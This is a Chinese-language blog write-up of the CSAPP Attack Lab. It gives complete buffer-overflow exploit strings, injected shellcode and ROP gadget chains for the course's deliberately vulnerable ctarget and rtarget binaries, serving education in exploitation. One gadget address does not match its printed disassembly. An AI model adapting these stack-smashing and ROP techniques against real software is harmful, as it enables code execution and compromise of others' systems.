主頁 > 作業系統 > 《深入理解計算機系統》(CSAPP)實驗四 —— Attack Lab

《深入理解計算機系統》(CSAPP)實驗四 —— Attack Lab

2021-01-11 11:59:12 作業系統

這是CSAPP的第四個實驗,這個實驗比較有意思,也比較難,通過這個實驗我們可以更加熟悉GDB的使用和機器代碼的堆疊和引數傳遞機制,

@

目錄
  • 實驗目的
  • 準備作業
  • 內容簡介
  • 代碼注入攻擊
    • Level 1
    • Level 2
    • Level 3
  • 回傳導向編程攻擊
    • Level 2
    • Level 3
  • 總結

實驗目的

??本實驗要求在兩個有著不同安全漏洞的程式上實作五種攻擊,通過完成本實驗達到:

  • 深入理解當程式沒有對緩沖區溢位做足夠防范時,攻擊者可能會如何利用這些安全漏洞,

  • 深入理解x86-64機器代碼的堆疊和引數傳遞機制,

  • 深入理解x86-64指令的編碼方式,

  • 熟練使用gdb和objdump等除錯工具,

  • 更好地理解寫出安全的程式的重要性,了解到一些編譯器和作業系統提供的幫助改善程式安全性的特性,

    做本次實驗之前,建議好好閱讀下本篇博文 面試官不講武德,居然讓我講講蠕蟲和金絲雀!,理解緩沖區溢位時函式的回傳值是如何被修改和精準定位的,

準備作業

??在官網下載得到實驗所需檔案解壓后會得到五個不同的檔案,對六個檔案簡要說明如下所示,

??README.txt:描述檔案夾目錄

??ctarget:一個容易遭受code injection攻擊的可執行程式,

??rtarget:一個容易遭受return-oriented programming攻擊的可執行程式,

??cookie.txt一個8位的十六進制碼,用于驗證身份的唯一識別符號,

??farm.c:目標“gadget farm”的源代碼,用于產生return-oriented programming攻擊,

??hex2raw:一個生成攻擊字串的工具,

HEX2RAW期望由一個或多個空格分隔的兩位十六進制值,所以如果你想創建一個十六進制值為0的位元組,需要將其寫為00,要創建單詞0xdeadbeef應將“ ef be ad de”傳遞給HEX2RAW(請注意,小位元組序需要反轉),

??編譯環境:Ubuntu 16.04,gcc 5.4.0,

??注意:由于我們使用的是外網編譯,所以在運行程式時加上-q引數,

內容簡介

CTARGET和RTARGET從標準輸入中讀取字串,使用的getbuf函式如下所示,

unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

??函式Gets()類似于標準庫函式gets(),從標準輸入讀入一個字串,將字串(帶null結束符)存盤在指定的目的地址,二者都只會簡單地拷貝位元組序列,無法確定目標緩沖區是否足夠大以存盤下讀入的字串,因此可能會超出目標地址處分配的存盤空間,字串不能包含位元組值0x0a,這是換行符 \n 的ASCII碼,Gets()遇到這個位元組時會認為意在結束該字串,

??如果用戶輸入并由getbuf讀取的字串足夠短,則很明顯getbuf將回傳1,如以下執行示例所示:

image-20201118164523691

??當輸入一個很長的字串時,將會出現段錯誤,具體如下圖所示:

image-20201118164726239

??如上圖所示,出現了緩沖區溢位錯誤,我們可以利用緩沖區溢位來修改程式的回傳值,使它指向我們要求的地址來完成攻擊,

CTARGET和RTARGET都采用幾個不同的命令列引數:

-h:列印可能的命令列引數串列

-q:本地測評,不要將結果發送到評分服務器

-i FILE:提供來自檔案的輸入,而不是來自標準輸入的輸入

代碼注入攻擊

Level 1

??對于第1個例程,將不會注入新代碼,而是緩沖區溢位漏洞利用字串將重定向程式來執行現有程式,在CTARGET檔案中中呼叫了函式getbuf,當getbuf執行完return陳述句后,程式通常會接著向下執行第5行的內容,

void test() 
{
    int val;
    val = getbuf();
    printf("NO explit. Getbuf returned 0x%x\n", val);
}

??如果我們想改變這種行為,在檔案ctarget中,我們要把getbuf函式的回傳值指向函式touch1,touch1代碼如下所示:

void touch1() 
{
    vlevel = 1;
    printf("Touch!: You called touch1()\n");   
    validate(1);
    exit(0);
}

??執行 objdump -d rtarget > rtarget.d 命令,將rtarget反匯編看下getbuf和touch1的反匯編代碼,

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp                      # 開辟40位元組的空間
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 ac 03 00 00       	callq  401b60 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq                                   # 正常回傳,跳轉到test函式的第5行繼續執行
  4017be:	90                   	nop
  4017bf:	90                   	nop
00000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 3d 20 00 01 	movl   $0x1,0x203d0e(%rip)        # 6054dc <vlevel>
  4017cb:	00 00 00 
  4017ce:	bf e5 31 40 00       	mov    $0x4031e5,%edi
  4017d3:	e8 e8 f4 ff ff       	callq  400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 cb 05 00 00       	callq  401dad <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	callq  400e40 <exit@plt>

??由上述反匯編代碼可以知道,我們只要修改getbuf結尾處的ret指令,將其指向touch1函式的起始地址40183b就可以,要想將其準確指向40183b,要首先將getbuf的40位元組內容填充滿,使其溢位,再將40183b覆寫getbuf原來的回傳地址即可,(這里不明白的可以看下文章面試官不講武德,居然讓我講講蠕蟲和金絲雀!)

??攻擊字串如下所示,命名為attack1.txt,

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
c0 17 40 00 00 00 00 00  

執行以下指令進行測驗

./hex2raw < attack1.txt > attackraw1.txt
./ctarget -qi attackraw1.txt

image-20201118174203347

Level 2

??第2階段涉及注入少量代碼作為攻擊字串的一部分,在檔案ctarget中,touch2的代碼如下所示:

void touch2(unsigned val)
{
	vlevel = 2; 	/* Part of validation protocol */
	if (val == cookie) {
		printf("Touch2!: You called touch2(0x%.8x)\n", val);
		validate(2);
	} else {
		printf("Misfire: You called touch2(0x%.8x)\n", val);
		fail(2);
 	}
	 exit(0);
}

??反匯編如下所示:

00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp
  4017f0:	89 fa                	mov    %edi,%edx                  # val存在%rdi中
  4017f2:	c7 05 e0 3c 20 00 02 	movl   $0x2,0x203ce0(%rip)        # 6054dc <vlevel>
  4017f9:	00 00 00 
  4017fc:	3b 3d e2 3c 20 00    	cmp    0x203ce2(%rip),%edi        # 6054e4 <cookie>
  401802:	75 20                	jne    401824 <touch2+0x38>
  401804:	be 08 32 40 00       	mov    $0x403208,%esi
  401809:	bf 01 00 00 00       	mov    $0x1,%edi
  40180e:	b8 00 00 00 00       	mov    $0x0,%eax
  401813:	e8 d8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401818:	bf 02 00 00 00       	mov    $0x2,%edi
  40181d:	e8 8b 05 00 00       	callq  401dad <validate>
  401822:	eb 1e                	jmp    401842 <touch2+0x56>
  401824:	be 30 32 40 00       	mov    $0x403230,%esi
  401829:	bf 01 00 00 00       	mov    $0x1,%edi
  40182e:	b8 00 00 00 00       	mov    $0x0,%eax
  401833:	e8 b8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401838:	bf 02 00 00 00       	mov    $0x2,%edi
  40183d:	e8 2d 06 00 00       	callq  401e6f <fail>
  401842:	bf 00 00 00 00       	mov    $0x0,%edi
  401847:	e8 f4 f5 ff ff       	callq  400e40 <exit@plt>

??Level 2 和 Level 1 差別主要在Level 2 多了一個val引數,我們在跳轉到Level 2 時,還要將其引數傳遞過去,讓他認為是自己的cookie 0x59b997fa,

??因此,我們首先要將0x59b997fa賦值給%rdi,完成引數的傳遞,如何完成程式的跳轉呢?在第一次ret的時候,將ret地址寫為我們寫好的攻擊代碼,在攻擊代碼中,將touch2的地址0x4017ec 壓堆疊,匯編代碼再ret到touch2,我們能完成這個攻擊的前提是這個具有漏洞的程式在運行時的堆疊地址是固定的,不會因運行多次而改變,并且這個程式允許執行堆疊中的代碼,匯編代碼如下所示:

mov    $0x59b997fa,%rdi
pushq  $0x4017ec              #壓堆疊,ret時會將0x4017ec彈出執行
ret

??使用如下指令將匯編代碼反匯編

gcc -c attack2.s
objdump -d attack2.o > attack2.d

??反匯編代碼如下所示:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq

??記憶體中存盤這段代碼的地方便是getbuf開辟的緩沖區,我們利用gdb查看此時緩沖區的起始地址,

image-20201118212308138

??注意:緩沖區地址為0x5561dca0(堆疊底),因為分配了一個0x28的堆疊,插入的代碼在字串首,即堆疊頂(低地址),所以地址最終要取0x5561dca0-0x28 = 0x5561dc78,大坑!大坑!大坑!

48 c7 c7 fa 97 b9 59 68 
ec 17 40 00 c3 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上包含注入代碼填充滿整個緩沖區(40位元組)以致溢位,
78 dc 61 55 00 00 00 00
//用緩沖區的起始地址覆寫掉原先的回傳地址(注意位元組順序),

??最終測驗結果正確

image-20201118213633633

Level 3

int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    /**/
    sprintf(s, "%.8x", val);         
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3;
    if (hexmatch(cookie, sval)){
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

??與之前的類似,在getbuf函式回傳的時候,執行touch3而不是test,touch3函式傳入的是cookie的字串表示,因此,我們要將%rdi設定為cookie的地址即字串表示(0x59b997fa -> 35 39 62 39 39 37 66 61),

00000000004018fa <touch3>:
  4018fa:	53                   	push   %rbx
  4018fb:	48 89 fb             	mov    %rdi,%rbx
  4018fe:	c7 05 d4 3b 20 00 03 	movl   $0x3,0x203bd4(%rip)        # 6054dc <vlevel>
  401905:	00 00 00 
  401908:	48 89 fe             	mov    %rdi,%rsi
  40190b:	8b 3d d3 3b 20 00    	mov    0x203bd3(%rip),%edi        # 6054e4 <cookie>
  401911:	e8 36 ff ff ff       	callq  40184c <hexmatch>
  401916:	85 c0                	test   %eax,%eax
  401918:	74 23                	je     40193d <touch3+0x43>
  40191a:	48 89 da             	mov    %rbx,%rdx
  40191d:	be 58 32 40 00       	mov    $0x403258,%esi
  401922:	bf 01 00 00 00       	mov    $0x1,%edi
  401927:	b8 00 00 00 00       	mov    $0x0,%eax
  40192c:	e8 bf f4 ff ff       	callq  400df0 <__printf_chk@plt>
  401931:	bf 03 00 00 00       	mov    $0x3,%edi
  401936:	e8 72 04 00 00       	callq  401dad <validate>
  40193b:	eb 21                	jmp    40195e <touch3+0x64>
  40193d:	48 89 da             	mov    %rbx,%rdx
  401940:	be 80 32 40 00       	mov    $0x403280,%esi
  401945:	bf 01 00 00 00       	mov    $0x1,%edi
  40194a:	b8 00 00 00 00       	mov    $0x0,%eax
  40194f:	e8 9c f4 ff ff       	callq  400df0 <__printf_chk@plt>
  401954:	bf 03 00 00 00       	mov    $0x3,%edi
  401959:	e8 11 05 00 00       	callq  401e6f <fail>
  40195e:	bf 00 00 00 00       	mov    $0x0,%edi
  401963:	e8 d8 f4 ff ff       	callq  400e40 <exit@plt>

??在touch3中呼叫了hexmatch函式,這個函式中又開辟了110個位元組的空間,如果我們把cookie放在堆疊中,執行hexmatch函式可能會把cookie的資料覆寫掉,我們可以直接通過植入指令來修改%rsp堆疊指標的值,

fa 18 40 00 00 00 00 00  #touch3的地址
bf 90 dc 61 55 48 83 ec  #mov    edi, 0x5561dc90
30 c3 00 00 00 00 00 00  #sub    rsp, 0x30  ret
35 39 62 39 39 37 66 61  #cookie
00 00 00 00 00 00 00 00
80 dc 61 55              #stack top的地址+8

image-20201119092849518

回傳導向編程攻擊

??對程式RTARGET進行代碼注入攻擊比對CTARGET進行難度要大得多,因為它使用兩種技術來阻止此類攻擊:

??它使用堆疊隨機化,以使堆疊位置在一次運行與另一次運行中不同,這使得不可能確定注入代碼的位置,

??它會將保存堆疊的記憶體部分標記為不可執行,因此,即使可以將程式計數器設定為注入代碼的開頭,程式也會因分段錯誤而失敗,

image-20201119101626094

??幸運的是,聰明的人已經設計出了通過執行程式來在程式中完成有用的事情的策略,使用現有代碼,而不是注入新代碼,常用的是ROP策略, ROP的策略是識別現有程式中的位元組序列,由一個或多個指令后跟指令ret組成,這種段稱為gadget.,圖2說明了如何設定堆疊以執行n個gadget的序列,在此圖中,堆疊包含一系列gadget地址,每個gadget都包含一系列指令位元組,其中最后一個是0xc3,對ret指令進行編碼,當程式從該配置開始執行ret指令時,它將啟動一系列gadget執行,其中ret指令位于每個gadget的末尾,從而導致程式跳至下一個開始,通過不斷的跳轉,拼湊出自己想要的結果來進行攻擊的方式,(簡單來說:就是利用現有程式的匯編代碼,從不同的函式中挑選出自己想要的代碼,通過不斷跳轉的方式將這些代碼拼接起來組成我們需要的代碼,)

??下面是實驗手冊給出的部分指令所對應的位元組碼,我們需要在rtarget檔案中挑選這些指令去執行之前level2和level3的攻擊,

image-20201119101419358 image-20201119101449467

Level 2

??這個實驗與之前的Level 2 很相似,所以我們要做的就是將cookie的值賦值給%rdi,執行touch2,但是本題使用的是ROP攻擊形式,不可能直接有movq $ 0x59b997fa,%rdi這樣的代碼,Write up提示可以用movq, popq等來完成這個任務,因此我們可以把 $0x59b997fa放在堆疊中,再popq %rdi,利用popq我們可以把資料從堆疊中轉移到暫存器中,而這個恰好是我們所需要的,代碼有了,那我們就去尋找gadget,

??思路確定了,接下來只需要根據Write up提供的encoding table來查找popq對應encoding是否在程式中出現了,很容易找到popq %rdi對應的編碼5f在這里出現,并且下一條就是ret:

402b18:    41 5f                pop    %r15
402b1a:    c3                      retq   

??所以答案就是:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 #pop %rdi
fa 97 b9 59 00 00 00 00 #cookie
ec 17 40 00 00 00 00 00 #touch2

??運行下結果如下所示

image-20201119153206287

Level 3

??這個實驗是在之前Level3的基礎上又增加了一個難度,具體要求是要用ROP跳轉到touch3,并且傳入一個和cookie一樣的字串,因為堆疊是隨機化的,那么我們如何在堆疊地址隨機化的情況下去獲取我們放在堆疊中的字串的首地址呢?我們只能通過操作%rsp的值來改變位置,在之前的Level 3 實驗中也提到過,touch3函式會呼叫hexmatch函式,在hexmatch中會開辟110個位元組的空間,如果字串放在touch3函式回傳地址的上方,那么cookie一定會被覆寫,因此,我們應該放在更高一點的位置,即使得hexmatch函式新開辟空間也夠不到cookie字串,所以,字串的地址一定是%rsp 加上一個數,

??可是WriteUp里給的encoding table都是mov pop nop 雙編碼等指令,并沒有加法,但是gadget farm中有一條自帶的指令,具體如下所示:

00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax          # %rax = %rdi + %rsi
  4019da:	c3                   	retq   

??我們可以通過這個函式來實作加法,因為lea (%rdi,%rsi,1) %rax就是%rax = %rdi + %rsi,所以,只要能夠讓%rdi和%rsi其中一個保存%rsp,另一個保存從stack中pop出來的偏移值,就可以表示cookie存放的地址,然后把這個地址mov到%rdi就大功告成了,

??對應Write up里面的encoding table會發現,從%rax并不能直接mov到%rsi,而只能通過%eax->%edx->%ecx->%esi來完成這個,所以,兵分兩路:
? ?1.把%rsp存放到%rdi中
??2.把偏移值(需要確定指令數后才能確定)存放到%rsi中

??然后,再用lea那條指令把這兩個結果的和存放到%rax中,再movq到%rdi中就完成了,

??值得注意的是,上面兩路完成任務的暫存器不能互換,因為從%eax到%esi這條路線上面的mov都是4個byte的操作,如果對%rsp的值采用這條路線,%rsp的值會被截斷掉,最后的結果就錯了,但是偏移值不會,因為4個bytes足夠表示了,

??最后結果:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00   #movq %rsp, %rax   
a2 19 40 00 00 00 00 00   #movq %rax, %rdi
ab 19 40 00 00 00 00 00   #popq %rax
48 00 00 00 00 00 00 00   #偏移值
dd 19 40 00 00 00 00 00   #mov %eax, %edx
34 1a 40 00 00 00 00 00   #mov %edx, %ecx
13 1a 40 00 00 00 00 00   #mov %ecx, %esi
d6 19 40 00 00 00 00 00   #lea (%rsi, %rdi, 1) %rax
a2 19 40 00 00 00 00 00   #movq %rax, %rdi
fa 18 40 00 00 00 00 00   #touch3
35 39 62 39 39 37 66 61   #cookie

參考https://zhuanlan.zhihu.com/p/36807783

??測驗結果如下:

總結

??這幾個實驗挺有意思的,體驗了一把黑客的感覺,最后一個實驗還是有難度的,自己也參考網上其他人的解法,通過本次實驗也加強了自己對函式呼叫堆疊,位元組序,GDB,匯編的理解,X86有些指令用多了也就記住了,不需要刻意去記,熟能生巧!

??養成習慣,先贊后看!如果覺得寫的不錯,歡迎關注,點贊,轉發,謝謝!

有任何問題,均可通過公告中的二維碼聯系我

轉載請註明出處,本文鏈接:https://www.uj5u.com/caozuo/247024.html

標籤:嵌入式

上一篇:《深入理解計算機系統》(CSAPP)讀書筆記 —— 第五章 優化程式性能

下一篇:命令ls -l 下的小點表示 什么意思?

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • CA和證書

    1、在 CentOS7 中使用 gpg 創建 RSA 非對稱密鑰對 gpg --gen-key #Centos上生成公鑰/密鑰對(存放在家目錄.gnupg/) 2、將 CentOS7 匯出的公鑰,拷貝到 CentOS8 中,在 CentOS8 中使用 CentOS7 的公鑰加密一個檔案 gpg -a ......

    uj5u.com 2020-09-10 00:09:53 more
  • Kubernetes K8S之資源控制器Job和CronJob詳解

    Kubernetes的資源控制器Job和CronJob詳解與示例 ......

    uj5u.com 2020-09-10 00:10:45 more
  • VMware下安裝CentOS

    VMware下安裝CentOS 一、軟硬體準備 1 Centos鏡像準備 1.1 CentOS鏡像下載地址 下載地址 1.2 CentOS鏡像下載程序 點擊下載地址進入如下圖的網站,選擇需要下載的版本,這里選擇的是Centos8,點擊如圖所示。 決定選擇Centos8后,選擇想要的鏡像源進行下載,此 ......

    uj5u.com 2020-09-10 00:12:10 more
  • 如何使用Grep命令查找多個字串

    如何使用Grep 命令查找多個字串 大家好,我是良許! 今天向大家介紹一個非常有用的技巧,那就是使用 grep 命令查找多個字串。 簡單介紹一下,grep 命令可以理解為是一個功能強大的命令列工具,可以用它在一個或多個輸入檔案中搜索與正則運算式相匹配的文本,然后再將每個匹配的文本用標準輸出的格式 ......

    uj5u.com 2020-09-10 00:12:28 more
  • git配置http代理

    git配置http代理 經常遇到克隆 github 慢的問題,這里記錄一下幾種配置 git 代理的方法,解決 clone github 過慢。 目錄 git配置代理 git單獨配置github代理 git配置全域代理 配置終端環境變數 git配置代理 主要使用 git config 命令 git單獨 ......

    uj5u.com 2020-09-10 00:12:33 more
  • Linux npm install 裝包時提示Error EACCES permission denied解

    npm install 裝包時提示Error EACCES permission denied解決辦法 ......

    uj5u.com 2020-09-10 00:12:53 more
  • Centos 7下安裝nginx,使用yum install nginx,提示沒有可用的軟體包

    Centos 7下安裝nginx,使用yum install nginx,提示沒有可用的軟體包。 18 (flaskApi) [root@67 flaskDemo]# yum -y install nginx 19 已加載插件:fastestmirror, langpacks 20 Loading ......

    uj5u.com 2020-09-10 00:13:13 more
  • Linux查看服務器暴力破解ssh IP

    在公網的服務器上經常遇到別人爆破你服務器的22埠,用來挖礦或者干其他嘿嘿嘿的事情~ 這種情況下正確的做法是: 修改默認ssh的22埠 使用設定密鑰登錄或者白名單ip登錄 建議服務器密碼為復雜密碼 創建普通用戶登錄服務器(root權限過大) 建立堡壘機,實作統一管理服務器 統計爆破IP [root ......

    uj5u.com 2020-09-10 00:13:17 more
  • CentOS 7系統常見快捷鍵操作方式

    Linux系統中一些常見的快捷方式,可有效提高操作效率,在某些時刻也能避免操作失誤帶來的問題。 ......

    uj5u.com 2020-09-10 00:13:31 more
  • CentOS 7作業系統目錄結構介紹

    作業系統存在著大量的資料檔案資訊,相應檔案資訊會存在于系統相應目錄中,為了更好的管理資料資訊,會將系統進行一些目錄規劃,不同目錄存放不同的資源。 ......

    uj5u.com 2020-09-10 00:13:35 more
最新发布
  • vim的常用命令

    Vim的6種基本模式 1. 普通模式在普通模式中,用的編輯器命令,比如移動游標,洗掉文本等等。這也是Vim啟動后的默認模式。這正好和許多新用戶期待的操作方式相反(大多數編輯器默認模式為插入模式)。 2. 插入模式在這個模式中,大多數按鍵都會向文本緩沖中插入文本。大多數新用戶希望文本編輯器編輯程序中一 ......

    uj5u.com 2023-04-20 08:43:21 more
  • vim的常用命令

    Vim的6種基本模式 1. 普通模式在普通模式中,用的編輯器命令,比如移動游標,洗掉文本等等。這也是Vim啟動后的默認模式。這正好和許多新用戶期待的操作方式相反(大多數編輯器默認模式為插入模式)。 2. 插入模式在這個模式中,大多數按鍵都會向文本緩沖中插入文本。大多數新用戶希望文本編輯器編輯程序中一 ......

    uj5u.com 2023-04-20 08:42:36 more
  • docker學習

    ###Docker概述 真實專案部署環境可能非常復雜,傳統發布專案一個只需要一個jar包,運行環境需要單獨部署。而通過Docker可將jar包和相關環境(如jdk,redis,Hadoop...)等打包到docker鏡像里,將鏡像發布到Docker倉庫,部署時下載發布的鏡像,直接運行發布的鏡像即可。 ......

    uj5u.com 2023-04-19 09:26:53 more
  • 設定Windows主機的瀏覽器為wls2的默認瀏覽器

    這里以Chrome為例。 1. 準備作業 wsl是可以使用Windows主機上安裝的exe程式,出于安全考慮,默認情況下改功能是無法使用。要使用的話,終端需要以管理員權限啟動。 我這里以Windows Terminal為例,介紹如何默認使用管理員權限打開終端,具體操作如下圖所示: 2. 操作 wsl ......

    uj5u.com 2023-04-19 09:25:49 more
  • docker學習

    ###Docker概述 真實專案部署環境可能非常復雜,傳統發布專案一個只需要一個jar包,運行環境需要單獨部署。而通過Docker可將jar包和相關環境(如jdk,redis,Hadoop...)等打包到docker鏡像里,將鏡像發布到Docker倉庫,部署時下載發布的鏡像,直接運行發布的鏡像即可。 ......

    uj5u.com 2023-04-19 09:19:04 more
  • Linux學習筆記

    IP地址和主機名 IP地址 ifconfig可以用來查詢本機的IP地址,如果不能使用,可以通過install net-tools安裝。 Centos系統下ens33表示主網卡;inet后表示IP地址;lo表示本地回環網卡; 127.0.0.1表示代指本機;0.0.0.0可以用于代指本機,同時在放行設 ......

    uj5u.com 2023-04-18 06:52:01 more
  • 解決linux系統的kdump服務無法啟動的問題

    問題:專案麒麟系統服務器的kdump服務無法啟動,沒有相關日志無法定位問題。 1、查看服務狀態是關閉的,重啟系統也無法啟動 systemctl status kdump 2、修改grub引數,修改“crashkernel”為“512M(有的機器數值太大太小都會導致報錯,建議從128M開始試,或者加個 ......

    uj5u.com 2023-04-12 09:59:50 more
  • 解決linux系統的kdump服務無法啟動的問題

    問題:專案麒麟系統服務器的kdump服務無法啟動,沒有相關日志無法定位問題。 1、查看服務狀態是關閉的,重啟系統也無法啟動 systemctl status kdump 2、修改grub引數,修改“crashkernel”為“512M(有的機器數值太大太小都會導致報錯,建議從128M開始試,或者加個 ......

    uj5u.com 2023-04-12 09:59:01 more
  • 你是不是暴露了?

    作者:袁首京 原創文章,轉載時請保留此宣告,并給出原文連接。 如果您是計算機相關從業人員,那么應該經歷不止一次網路安全專項檢查了,你肯定是收到過資訊系統技術檢測報告,要求你加強風險監測,確保你提供的系統服務堅實可靠了。 沒檢測到問題還好,檢測到問題的話,有些處理起來還是挺麻煩的,尤其是線上正在運行的 ......

    uj5u.com 2023-04-05 16:52:56 more
  • 細節拉滿,80 張圖帶你一步一步推演 slab 記憶體池的設計與實作

    1. 前文回顧 在之前的幾篇記憶體管理系列文章中,筆者帶大家從宏觀角度完整地梳理了一遍 Linux 記憶體分配的整個鏈路,本文的主題依然是記憶體分配,這一次我們會從微觀的角度來探秘一下 Linux 內核中用于零散小記憶體塊分配的記憶體池 —— slab 分配器。 在本小節中,筆者還是按照以往的風格先帶大家簡單 ......

    uj5u.com 2023-04-05 16:44:11 more